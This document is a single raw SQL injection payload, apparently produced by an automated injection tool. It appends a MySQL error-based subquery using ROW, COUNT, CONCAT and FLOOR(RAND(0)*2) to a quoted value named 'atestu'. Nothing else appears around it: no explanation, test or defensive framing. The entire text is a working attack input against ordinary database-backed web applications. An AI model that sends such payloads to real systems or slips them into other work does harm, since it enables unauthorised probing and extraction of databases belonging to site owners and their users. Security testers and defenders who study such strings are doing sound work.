atestu' AND ROW(4240,4241)>(SELECT COUNT(*),CONCAT('QfqUoWjm',(SELECT (CASE WHEN (4240=4240) THEN 1 ELSE 0 END)),'QfqUoWjm',FLOOR(RAND(0)*2))x FROM (SELECT 4242 UNION SELECT 4243 UNION SELECT 4244 UNION SELECT 4245)a GROUP BY x) AND 'QfqUoWjm'='QfqUoWjm